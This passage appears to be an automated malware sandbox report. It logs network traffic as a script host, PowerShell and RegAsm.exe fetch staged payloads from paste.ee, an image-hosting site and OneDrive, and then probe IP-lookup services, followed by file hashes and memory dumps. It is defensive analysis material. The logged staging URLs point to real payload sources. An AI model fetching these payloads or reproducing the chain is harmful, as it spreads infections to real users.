      GET /y4mPuzsTxSOK_JhylUeVJ_mlOcxgk77u4HAtXFcnHFxs5Bwz-ot4ty9jKEgY_gkUnJOJM8obh7uU1ug-Z0IHz_mG69u8cyaI2jlsCi0F8MuXnBLg5Ch8BUkoafN2I2-35RTBy2ODuRXjqdEh-SdHVbjP-prZciNpRUZaPCTtFgFxfEIhDId55coipT8wdfVDtQe8hjbwNIeJCO3jEob6RQ1Sg/bdlz.txt?download&psid=1 HTTP/1.1
      Host: br9l5q.am.files.1drv.com
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Cache-Control: public
      Content-Length: 333824
      Content-Type: text/plain
      Content-Location: https://br9l5q.am.files.1drv.com/y4m48IEncEtvfOXO40f6w4-xC_tBTQyRJzLD_hAAUfyGG1yqFf-Kk2ARGH9QpHvI1lZejBNu7lZClLluDuhW4I483IcWXdPOAiP6bzSOBcs-mbsLsQ_Y89YTklA_8Xg_xLZyyGtyxQDrlN6cs4ht6Z1frQxz4JOP1k1SkjCdCUqTgOHrWGN53rnkCWFpxdIcP1P
      Expires: Sun, 12 May 2024 01:44:06 GMT
      Last-Modified: Thu, 08 Feb 2024 22:44:09 GMT
      Accept-Ranges: bytes
      ETag: 9A063D4B0D931024!297.3
      P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
      X-MSNSERVER: AM3PPF8B759C201
      Strict-Transport-Security: max-age=31536000; includeSubDomains
      MS-CV: S02oN3oE0UmlysgpAbrd3Q.0
      X-SqlDataOrigin: S
      CTag: aYzo5QTA2M0Q0QjBEOTMxMDI0ITI5Ny4yNTc
      X-PreAuthInfo: rv;poba;
      Content-Disposition: attachment; filename="bdlz.txt"
      X-Content-Type-Options: nosniff
      X-StreamOrigin: X
      X-AsmVersion: UNKNOWN; 19.1338.129.2007
      X-Cache: CONFIG_NOCACHE
      X-MSEdge-Ref: Ref A: E570ECB057D0424A8A14FF19BCBB524B Ref B: LON04EDGE1116 Ref C: 2024-02-12T01:44:06Z
      Date: Mon, 12 Feb 2024 01:44:06 GMT
    • flag-us
      DNS
      11.137.107.13.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      11.137.107.13.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      12.42.107.13.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      12.42.107.13.in-addr.arpa
      IN PTR
      Response
      12.42.107.13.in-addr.arpa
      IN PTR
      1drvms
    • flag-us
      DNS
      133.211.185.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      133.211.185.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      api.ipify.org
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      api.ipify.org
      IN A
      Response
      api.ipify.org
      IN A
      104.26.13.205
      api.ipify.org
      IN A
      172.67.74.152
      api.ipify.org
      IN A
      104.26.12.205
    • flag-us
      GET
      https://api.ipify.org/
      RegAsm.exe
      Remote address:
      104.26.13.205:443
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
      Host: api.ipify.org
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Date: Mon, 12 Feb 2024 01:44:08 GMT
      Content-Type: text/plain
      Content-Length: 12
      Connection: keep-alive
      Vary: Origin
      CF-Cache-Status: DYNAMIC
      Server: cloudflare
      CF-RAY: 8541250e8ac74052-LHR
    • flag-us
      DNS
      ip-api.com
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      ip-api.com
      IN A
      Response
      ip-api.com
      IN A
      208.95.112.1
    • flag-us
      GET
      http://ip-api.com/line/?fields=hosting
      RegAsm.exe
      Remote address:
      208.95.112.1:80
      Request
      GET /line/?fields=hosting HTTP/1.1
      Host: ip-api.com
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Date: Mon, 12 Feb 2024 01:44:08 GMT
      Content-Type: text/plain; charset=utf-8
      Content-Length: 6
      Access-Control-Allow-Origin: *
      X-Ttl: 60
      X-Rl: 44
    • flag-us
      DNS
      205.13.26.104.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      205.13.26.104.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      1.112.95.208.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      1.112.95.208.in-addr.arpa
      IN PTR
      Response
      1.112.95.208.in-addr.arpa
      IN PTR
      ip-apicom
    • flag-us
      DNS
      26.165.165.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      26.165.165.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      56.126.166.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      56.126.166.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      28.160.77.104.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      28.160.77.104.in-addr.arpa
      IN PTR
      Response
      28.160.77.104.in-addr.arpa
      IN PTR
      a104-77-160-28deploystaticakamaitechnologiescom
    • flag-us
      DNS
      168.117.168.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      168.117.168.52.in-addr.arpa
      IN PTR
      Response
    • 104.21.84.67:80
      http://paste.ee/d/QkK2f
      http
      WScript.exe
      379 B
       965 B
       5
      4

      HTTP Request

      GET http://paste.ee/d/QkK2f

      HTTP Response

      301
    • 104.21.84.67:443
      https://paste.ee/d/QkK2f
      tls, http
      WScript.exe
      1.2kB
       20.5kB
       16
      23

      HTTP Request

      GET https://paste.ee/d/QkK2f

      HTTP Response

      200
    • 172.67.215.45:443
      https://uploaddeimagens.com.br/images/004/731/958/original/new_image.jpg?1707143673
      tls, http
      powershell.exe
      402.0kB
       8.7MB
       5652
      6257

      HTTP Request

      GET https://uploaddeimagens.com.br/images/004/731/958/original/new_image.jpg?1707143673

      HTTP Response

      200
    • 13.107.137.11:443
      https://onedrive.live.com/download?resid=9A063D4B0D931024%21297&authkey=!AC_BFHUXoySySpM
      tls, http
      powershell.exe
      897 B
       6.3kB
       9
      10

      HTTP Request

      GET https://onedrive.live.com/download?resid=9A063D4B0D931024%21297&authkey=!AC_BFHUXoySySpM

      HTTP Response

      302
    • 13.107.42.12:443
      https://br9l5q.am.files.1drv.com/y4mPuzsTxSOK_JhylUeVJ_mlOcxgk77u4HAtXFcnHFxs5Bwz-ot4ty9jKEgY_gkUnJOJM8obh7uU1ug-Z0IHz_mG69u8cyaI2jlsCi0F8MuXnBLg5Ch8BUkoafN2I2-35RTBy2ODuRXjqdEh-SdHVbjP-prZciNpRUZaPCTtFgFxfEIhDId55coipT8wdfVDtQe8hjbwNIeJCO3jEob6RQ1Sg/bdlz.txt?download&psid=1
      tls, http
      powershell.exe
      6.9kB
       353.9kB
       135
      263

      HTTP Request

      GET https://br9l5q.am.files.1drv.com/y4mPuzsTxSOK_JhylUeVJ_mlOcxgk77u4HAtXFcnHFxs5Bwz-ot4ty9jKEgY_gkUnJOJM8obh7uU1ug-Z0IHz_mG69u8cyaI2jlsCi0F8MuXnBLg5Ch8BUkoafN2I2-35RTBy2ODuRXjqdEh-SdHVbjP-prZciNpRUZaPCTtFgFxfEIhDId55coipT8wdfVDtQe8hjbwNIeJCO3jEob6RQ1Sg/bdlz.txt?download&psid=1

      HTTP Response

      200
    • 104.26.13.205:443
      https://api.ipify.org/
      tls, http
      RegAsm.exe
      854 B
       5.5kB
       9
      9

      HTTP Request

      GET https://api.ipify.org/

      HTTP Response

      200
    • 208.95.112.1:80
      http://ip-api.com/line/?fields=hosting
      http
      RegAsm.exe
      310 B
       267 B
       5
      2

      HTTP Request

      GET http://ip-api.com/line/?fields=hosting

      HTTP Response

      200
    • 8.8.8.8:53
      paste.ee
      dns
      WScript.exe
      54 B
       86 B
       1
      1

      DNS Request

      paste.ee

      DNS Response

      104.21.84.67
      172.67.187.200

    • 8.8.8.8:53
      79.121.231.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      79.121.231.20.in-addr.arpa

    • 8.8.8.8:53
      67.84.21.104.in-addr.arpa
      dns
      71 B
       133 B
       1
      1

      DNS Request

      67.84.21.104.in-addr.arpa

    • 8.8.8.8:53
      154.239.44.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      154.239.44.20.in-addr.arpa

    • 8.8.8.8:53
      180.178.17.96.in-addr.arpa
      dns
      72 B
       137 B
       1
      1

      DNS Request

      180.178.17.96.in-addr.arpa

    • 8.8.8.8:53
      uploaddeimagens.com.br
      dns
      powershell.exe
      68 B
       100 B
       1
      1

      DNS Request

      uploaddeimagens.com.br

      DNS Response

      172.67.215.45
      104.21.45.138

    • 8.8.8.8:53
      72.32.126.40.in-addr.arpa
      dns
      71 B
       157 B
       1
      1

      DNS Request

      72.32.126.40.in-addr.arpa

    • 8.8.8.8:53
      45.215.67.172.in-addr.arpa
      dns
      72 B
       134 B
       1
      1

      DNS Request

      45.215.67.172.in-addr.arpa

    • 8.8.8.8:53
      95.221.229.192.in-addr.arpa
      dns
      73 B
       144 B
       1
      1

      DNS Request

      95.221.229.192.in-addr.arpa

    • 8.8.8.8:53
      onedrive.live.com
      dns
      powershell.exe
      126 B
       274 B
       2
      1

      DNS Request

      onedrive.live.com

      DNS Request

      onedrive.live.com

      DNS Response

      13.107.137.11
      13.107.139.11

    • 8.8.8.8:53
      br9l5q.am.files.1drv.com
      dns
      powershell.exe
      70 B
       279 B
       1
      1

      DNS Request

      br9l5q.am.files.1drv.com

      DNS Response

      13.107.42.12

    • 8.8.8.8:53
      11.137.107.13.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      11.137.107.13.in-addr.arpa

    • 8.8.8.8:53
      12.42.107.13.in-addr.arpa
      dns
      71 B
       92 B
       1
      1

      DNS Request

      12.42.107.13.in-addr.arpa

    • 8.8.8.8:53
      133.211.185.52.in-addr.arpa
      dns
      73 B
       147 B
       1
      1

      DNS Request

      133.211.185.52.in-addr.arpa

    • 8.8.8.8:53
      api.ipify.org
      dns
      RegAsm.exe
      59 B
       107 B
       1
      1

      DNS Request

      api.ipify.org

      DNS Response

      104.26.13.205
      172.67.74.152
      104.26.12.205

    • 8.8.8.8:53
      ip-api.com
      dns
      RegAsm.exe
      56 B
       72 B
       1
      1

      DNS Request

      ip-api.com

      DNS Response

      208.95.112.1

    • 8.8.8.8:53
      205.13.26.104.in-addr.arpa
      dns
      72 B
       134 B
       1
      1

      DNS Request

      205.13.26.104.in-addr.arpa

    • 8.8.8.8:53
      1.112.95.208.in-addr.arpa
      dns
      71 B
       95 B
       1
      1

      DNS Request

      1.112.95.208.in-addr.arpa

    • 8.8.8.8:53
      26.165.165.52.in-addr.arpa
      dns
      72 B
       146 B
       1
      1

      DNS Request

      26.165.165.52.in-addr.arpa

    • 8.8.8.8:53
      56.126.166.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      56.126.166.20.in-addr.arpa

    • 8.8.8.8:53
      28.160.77.104.in-addr.arpa
      dns
      72 B
       137 B
       1
      1

      DNS Request

      28.160.77.104.in-addr.arpa

    • 8.8.8.8:53
      168.117.168.52.in-addr.arpa
      dns
      73 B
       147 B
       1
      1

      DNS Request

      168.117.168.52.in-addr.arpa

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      3KB

      MD5

      f41839a3fe2888c8b3050197bc9a0a05

      SHA1

      0798941aaf7a53a11ea9ed589752890aee069729

      SHA256

      224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

      SHA512

      2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      64B

      MD5

      5caad758326454b5788ec35315c4c304

      SHA1

      3aef8dba8042662a7fcf97e51047dc636b4d4724

      SHA256

      83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

      SHA512

      4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_10aetnec.ldq.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/2044-28-0x00007FFACE960000-0x00007FFACF421000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2044-13-0x0000020641590000-0x00000206415A0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2044-12-0x00007FFACE960000-0x00007FFACF421000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2044-14-0x0000020641590000-0x00000206415A0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2044-24-0x000002067A810000-0x000002067AD5C000-memory.dmp

      Filesize

      5.3MB

      Download

    • memory/3688-25-0x0000000000400000-0x0000000000444000-memory.dmp

      Filesize

      272KB

      Download

    • memory/3688-33-0x0000000074920000-0x00000000750D0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/3688-34-0x0000000005BB0000-0x0000000006154000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/3688-35-0x0000000001440000-0x0000000001450000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3688-36-0x0000000005770000-0x00000000057D6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/3688-37-0x0000000074920000-0x00000000750D0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4924-5-0x0000020460C40000-0x0000020460C62000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4924-11-0x0000020479000000-0x0000020479010000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4924-10-0x00007FFACE960000-0x00007FFACF421000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4924-32-0x00007FFACE960000-0x00007FFACF421000-memory.dmp

      Filesize

      10.8MB

      Download

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.